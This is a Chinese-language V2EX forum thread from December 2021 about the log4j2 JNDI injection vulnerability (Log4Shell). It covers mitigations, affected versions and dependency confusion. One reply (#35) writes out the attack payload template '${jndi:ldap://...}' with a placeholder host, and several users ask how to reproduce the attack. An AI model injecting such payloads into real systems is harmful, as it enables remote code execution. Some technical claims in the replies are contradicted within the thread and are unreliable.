eviladan0s
V2EX  ›  Java

颤抖吧 Javaer, log4j 史诗级漏洞

  •  4
     
  •   eviladan0s · Dec 10, 2021 · 37986 views
    This topic created in 1797 days ago, the information mentioned may be changed or developed.

    漏洞预警: https://mp.weixin.qq.com/s/WBbAthHY36qY0w9e4UUl4Q

    本质上是 log4j 里的 lookup 方法存在 jndi 注入(看图): https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/20211210091200YOXTYd.jpg

    百度、谷歌、苹果的框全都沦陷了: https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/202112100913225Wncr7.png

    修复措施: 在 log4j2.component.properties 配置文件中设置 log4j2.formatMsgNoLookups=true ,可以暂时缓解避免受漏洞的影响。

    之所以是史诗级,是因为不仅 log4j 使用范围广,而且日志数据你不知道流到哪里的 log4j 就会触发

    Supplement 1  ·  Dec 10, 2021
    最新消息: https://mp.weixin.qq.com/s/AuBchaUvFw2pisVw6rNX5A

    Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本
    Supplement 2  ·  Dec 10, 2021
    再补充一点: 漏洞存在于 log4j2 ,目前发的很多都仅仅是个验证,不代表能造成实际危害如远程命令执行等,因为高版本 JDK 默认有限制措施。
    请不必恐慌,如果有受影响的应用,建议咨询专业的网络安全公司,获取修复建议。
    189 replies  •  2021-12-13 16:50:16 +08:00
    1  2  
    ❮ ❯
    pigspy
    pigspy
    Dec 10, 2021
    1
    还是转向 logback 吧
    eviladan0s
    eviladan0s
    OP
    Dec 10, 2021
    2
    这个漏洞本不应该被直接公布的,但利用过于简单,昨晚成了脚本小子的狂欢
    midasfree
    midasfree
    Dec 10, 2021
    3
    这周值班一大早被呼起来屏蔽这个问题 绝了(╯°□°)╯︵ ┻━┻
    Philosophy6
    Philosophy6
    Dec 10, 2021❤️2
    4
    全线服务全都是 log4j2 ,GG
    hanssx
    hanssx
    Dec 10, 2021
    5
    这危害也太大了,老哥有原文吗?求分享
    buliugu
    buliugu
    Dec 10, 2021
    6
    还好用的 logback
    sagaxu
    sagaxu
    Dec 10, 2021 via Android
    7
    昨天美团崩溃也是因为这个?
    Archeb
    Archeb
    Dec 10, 2021
    8
    别慌,只有低版本能盲打,高版本没那么好利用。看着吓人也只是 dnslog 而已
    conhost
    conhost
    Dec 10, 2021❤️1
    9
    @pigspy logback 依赖 log4j 哦
    eviladan0s
    eviladan0s
    OP
    Dec 10, 2021 via iPhone
    10
    还有,许多知名组件也用到了 log4j ,如 Apache Struts2 ,Apache Solr ,Apache Flink ,Apache Druid 等等
    iold
    iold
    Dec 10, 2021
    11
    看了一下公司的屎山。还好只有官网是 Java ,log4j 还是远古版本,不知道升上来会带来哪些副作用...
    eviladan0s
    eviladan0s
    OP
    Dec 10, 2021 via iPhone
    12
    @Archeb 是的,高版本 jdk 默认禁用了远程加载,需要寻找本地 Gadget
    sagaxu
    sagaxu
    Dec 10, 2021 via Android
    13
    只有写在 format string 里才能触发,作为参数传入则不会。而我们一般不会直接把日志内容写到 format string 中,所以不必慌。
    dr1q65MfKFKHnJr6
    dr1q65MfKFKHnJr6
    Dec 10, 2021
    14
    还在用 log4j 1
    iold
    iold
    Dec 10, 2021❤️2
    15
    仔细看了一下,屎山用的远古版本不受影响,美滋滋。
    zhouyou457
    zhouyou457
    Dec 10, 2021
    16
    绝望的打出 GG
    qq1340691923
    qq1340691923
    Dec 10, 2021
    17
    之前服务器上是 java 程序在跑,腾讯云每隔一段时间就告警我们 jar 包有安全风险,需要升级,不然就停止服务,折腾几次后,我们换了 golang ,后面就没这个烦恼了
    gadfly3173
    gadfly3173
    Dec 10, 2021
    18
    @qq1340691923 #17 艹 这不只是让腾讯云没法检测而已嘛。。。
    itechnology
    itechnology
    Dec 10, 2021
    19
    还好用的 spring boot 自带的 logback
    gadfly3173
    gadfly3173
    Dec 10, 2021
    20
    @itechnology #19 spring boot 自带 log4j 版本是 2.14.1
    cheng6563
    cheng6563
    Dec 10, 2021
    21
    看了下公司项目,屎山都是 log4j1 ,新一点的都是 slf4j 了,没用到 log4j2
    xe2vherd
    xe2vherd
    Dec 10, 2021
    22
    比较奇怪,为什么搜不到英语报道
    pkoukk
    pkoukk
    Dec 10, 2021
    23
    @midasfree 一大早不错了,昨天晚上一点多被安全叫醒处理...
    Dockerfile
    Dockerfile
    Dec 10, 2021
    24
    @cheng6563 slf4j 只是上层接口阿,得看实现层是什么吧
    aababc
    aababc
    Dec 10, 2021❤️1
    25
    @qq1340691923 这个只是把问题掩盖了,并不是说 go 的程序就一定安全呀!
    tabris17
    tabris17
    Dec 10, 2021
    26
    用老版本反而躲过一劫
    dko
    dko
    Dec 10, 2021
    27
    @Archeb 不要迷之自信,低估了这个漏洞的危害。
    Archeb
    Archeb
    Dec 10, 2021
    28
    @dko 修肯定得修
    jwh199588
    jwh199588
    Dec 10, 2021
    29
    有人复现了吗
    KevinBlandy
    KevinBlandy
    Dec 10, 2021
    30
    幸好是内网应用,根本不慌。
    bipy
    bipy
    Dec 10, 2021
    31
    哈人
    supuwoerc
    supuwoerc
    Dec 10, 2021
    32
    ![]( https://i.bmp.ovh/imgs/2021/12/83a7153fca6d2f61.png)

    早上看见群里在问,好快啊,不过这老项目是 1.x 的,躲过一劫
    porr
    porr
    Dec 10, 2021
    33
    @supuwoerc 1.x 问题更多吧。。
    JDog
    JDog
    Dec 10, 2021
    34
    @cheng6563 看到这条回复给我整乐了~
    wanguorui123
    wanguorui123
    Dec 10, 2021
    35
    ${jndi:ldap://xxxxx.xxxx.xxxx/xxxxxx}
    lindas
    lindas
    Dec 10, 2021
    36
    项目用的 elasticsearch 里面的 log4j 版本刚好在范围内,好在是内网
    kernelpanic
    kernelpanic
    Dec 10, 2021
    37
    哈哈哈哈哈苹果到现在还没修复
    aguesuka
    aguesuka
    Dec 10, 2021
    38
    太离谱了, 这是一个日志框架不该出现的 bug. 也许正确的应对方法不是升级或是改什么配置, 而是不要使用 log4j2 和这个作者开发的其他框架.
    pigspy
    pigspy
    Dec 10, 2021
    39
    @conhost
    是我记岔了? logback 依赖了 log4j ?
    Crystal8899
    Crystal8899
    Dec 10, 2021❤️1
    40
    @aguesuka “这个作者”??
    jsjjdzg
    jsjjdzg
    Dec 10, 2021
    41
    logback 依赖不是 slf4j 嘛?还是 slf4j 底层是用 log4j 实现的?
    legendORld
    legendORld
    Dec 10, 2021
    42
    已经把文章发到群里面了,让公司大佬们处理吧
    fpure
    fpure
    Dec 10, 2021
    43
    @pigspy 他可能说的是桥接器
    youxiachai
    youxiachai
    Dec 10, 2021
    44
    按道理... 这个默认不是关的吗...
    kernelpanic
    kernelpanic
    Dec 10, 2021
    45
    linkedin 也没修复
    zxCoder
    zxCoder
    Dec 10, 2021
    46
    写个日志都不安全,牛逼啊
    johnj
    johnj
    Dec 10, 2021
    47
    @conhost logback 和 log4j 是独立的
    Dockerfile
    Dockerfile
    Dec 10, 2021
    48
    @conhost 这怎么可能,那 logback 作者离开 log4j 干嘛?
    ohwind
    ohwind
    Dec 10, 2021❤️3
    49
    @aguesuka 阿里的 fastjson 也有过高危漏洞,建议别用阿里的任何东西。
    二极管思维能不能消停点
    Dockerfile
    Dockerfile
    Dec 10, 2021
    50
    @jsjjdzg slf4j 只是上层接口,没有具体实现阿,怎么会有用 log4j 实现这一说
    encounter2017
    encounter2017
    Dec 10, 2021
    51
    @conhost https://mvnrepository.com/artifact/ch.qos.logback/logback-classic/1.2.7
    不是吧,测试有依赖的 log4j1 ,编译没有依赖
    xiaoba25
    xiaoba25
    Dec 10, 2021
    52
    颤抖吧...
    pkoukk
    pkoukk
    Dec 10, 2021
    54
    @aguesuka
    logstash 也有引用,elk 不打算用了?
    ixx
    ixx
    Dec 10, 2021
    55
    @sagaxu #13 确认了一下 参数传入也会触发
    chawuchiren
    chawuchiren
    Dec 10, 2021
    56
    怎么升级呢,最新的 log4j 2.15.0 ,有一个包需要 jdk9 。 我们还在用 jdk8
    aguesuka
    aguesuka
    Dec 10, 2021
    57
    @pkoukk 像大家一起不用 Struts 一样不用它
    Dockerfile
    Dockerfile
    Dec 10, 2021
    58
    @chawuchiren 顺便把 jdk 也升了(
    kappa
    kappa
    Dec 10, 2021
    59
    Nich0la5
    Nich0la5
    Dec 10, 2021
    60
    笑死 我们手忙脚乱查了一遍得出结论,log4j 版本太低,没这个漏洞
    kernelpanic
    kernelpanic
    Dec 10, 2021
    61
    苹果还没修复, 不知道服务器上弹出多少个计算器了
    uSy62nMkdH
    uSy62nMkdH
    Dec 10, 2021
    62
    小团体的群里,大厂的小伙伴是连夜修复,我们公司白天没人提,发到群里了没激起一点水花~
    James369
    James369
    Dec 10, 2021
    63
    什么叫稳,版本越老反而越稳,哈哈
    aguesuka
    aguesuka
    Dec 10, 2021❤️1
    64
    @ohwind I try to follow a rule with libraries: if a library causes more trouble than the implementation effort it would take to recreate its functionality from scratch (or rather, the portion of its funcitonality that is used in practice), then it's time to purge that library from projects and never use it again.
    The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level. This is very quick and easy to write. A library in this role should have zero RCEs, ever in its entire lifetime, or it is unfit for purpose.

    这不是我一个人的 idea
    ipuhua
    ipuhua
    Dec 10, 2021
    65
    Windows 漏洞有多少?大家都不要用微软了, 颤抖吧
    Seayon
    Seayon
    Dec 10, 2021
    66
    怎么才能学习复现一下 有没有指点一下路子的
    soulzz
    soulzz
    Dec 10, 2021
    67
    log4j2.formatMsgNoLookups=true
    pkoukk
    pkoukk
    Dec 10, 2021❤️4
    68
    @ipuhua windows 的漏洞起码不是在输入框写个${} 就能触发的
    feelinglucky
    feelinglucky
    Dec 10, 2021
    69
    @buliugu 我记得 logback 默认依赖 log4j 的吧,虽然可以换引擎
    pofycn
    pofycn
    Dec 10, 2021 via Android
    70
    现在上线了 RC2 可以暂时修复 但是可能还会被绕过
    Mithril
    Mithril
    Dec 10, 2021
    71
    @James369
    @tabris17
    @iold
    老版的好像也有问题,躲不过加班的。。。
    NULL2020
    NULL2020
    Dec 10, 2021
    72
    log4j github 仓库下载下来解压怎么是源码啊,还得自己编译打包成 jar ?
    Bromine0x23
    Bromine0x23
    Dec 10, 2021❤️1
    73
    纯云
    logback 只是测试依赖用有到 log4j ,应该不受影响。
    spring-boot-starter-logging 通过 log4j-to-slf4j 间接引入了 log4j-api ,只是接口层,应该也不受影响。
    Dockerfile
    Dockerfile
    Dec 10, 2021
    74
    @feelinglucky 。。。你记错了吧
    podel
    podel
    Dec 10, 2021
    75
    终于知道苹果的登录为什么这么慢了。
    因为每一次登录请求,都会在美国的服务器上跑程序。
    gadfly3173
    gadfly3173
    Dec 10, 2021
    76
    @NULL2020 #72 是的 因为还没正式发布
    pengtdyd
    pengtdyd
    Dec 10, 2021
    77
    fastjson 确实挺好用的,我个人觉的源码写的很乱,动不动就爆漏洞,阿里的东西真的要慎用!
    Lemeng
    Lemeng
    Dec 10, 2021
    78
    生活不能太平静,网络也一样,哈哈
    6ufq0VLZn0DDkL80
    6ufq0VLZn0DDkL80
    Dec 10, 2021
    79
    java 怎么总能搞出点新花样。fastjson 一个序列化库能搞出来 rce ,log4j2 一个日志库也能搞出来 rce
    masterclock
    masterclock
    Dec 10, 2021
    80
    感觉 JAVA 因其强大,它的库总是倾向于做得多,内部搞点魔法,用起来方便;然后代码多了就容易出问题。
    littlewing
    littlewing
    Dec 10, 2021
    81
    @aguesuka intel 的 CPU 也有漏洞,建议也别用了
    aguesuka
    aguesuka
    Dec 10, 2021
    82
    @littlewing 滑坡谬误, 看 64 楼
    iold
    iold
    Dec 10, 2021
    83
    @Mithril #71 是的,后续已经确认 1.x 也受影响,而且 1.x 已经结束生命周期了。哎,非 Java boy, 难受啊,这么大的跨度,肯定不是升级个依赖就能解决的。
    justs0o
    justs0o
    Dec 10, 2021❤️1
    84
    rc2 也影响
    MoYi123
    MoYi123
    Dec 10, 2021
    85
    @littlewing 虽然 log4j 性能很好,水平很高, 但是就单单打个日志的功能我觉得以大多数人的水平都能做个勉强能用的出来, ,至于上面的 windows 和 CPU,我反正是做不了.
    pengtdyd
    pengtdyd
    Dec 10, 2021
    86
    颤抖个啥,这不是又有收维护费的理由了嘛
    justs0o
    justs0o
    Dec 10, 2021
    87
    CORRECTION: log4j 1.x contains a JMS Appender which can use JNDI. So I would say that, yes, log4j 1.x is also impacted by this vulnerability
    ZeroDu
    ZeroDu
    Dec 10, 2021
    88
    上面看你们一顿乱说,也没人贴怎么复现啊
    EPr2hh6LADQWqRVH
    EPr2hh6LADQWqRVH
    Dec 10, 2021❤️1
    89
    服务器设置 cron job 每 30 秒运行 killall java , 防微杜渐。
    manami
    manami
    Dec 10, 2021
    90
    内网应用不慌
    salmon5
    salmon5
    Dec 10, 2021
    91
    @avastms #89 拔网线,完美解决
    joshuacavell
    joshuacavell
    Dec 10, 2021
    92
    RainyH2O
    RainyH2O
    Dec 10, 2021❤️3
    93
    泥潭也有那么多人分不清日志接口框架和日志实现框架的区别么?
    MilkShake
    MilkShake
    Dec 10, 2021
    94
    logging-log4j2-log4j-2.15.0-rc2.tar.gz
    你们是如何编译成功的,用的这个./mvnw clean package -DskipTest 命令,提示 [Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project log4j-api-java9]
    jdk 版本是 17
    NULL2020
    NULL2020
    Dec 10, 2021
    95
    @gadfly3173 #76 特么的,自己还得装个 JDK9 吗?


    @aaa5838769 #94 同样的问题
    jwh199588
    jwh199588
    Dec 10, 2021
    96
    @Seayon 已经完美复现
    sshang
    sshang
    Dec 10, 2021
    97
    @jwh199588 怎么复现的,传入的参数写什么
    wangdashuai
    wangdashuai
    Dec 10, 2021
    98
    我把 java9 相关的全部删了
    tqyq88
    tqyq88
    Dec 10, 2021
    99
    System.out.println 保平安
    ohwind
    ohwind
    Dec 10, 2021
    100
    @aguesuka 你不用库没问题,你可以去找一个完美无瑕的库去用,请问你如何得出的不用”作者开发的其他框架“这个结论?
    1  2  
    ❮ ❯
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   2911 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 263ms · UTC 05:14 · PVG 13:14 · LAX 21:14 · JFK 00:14
    ♥ Do have faith in what you're doing.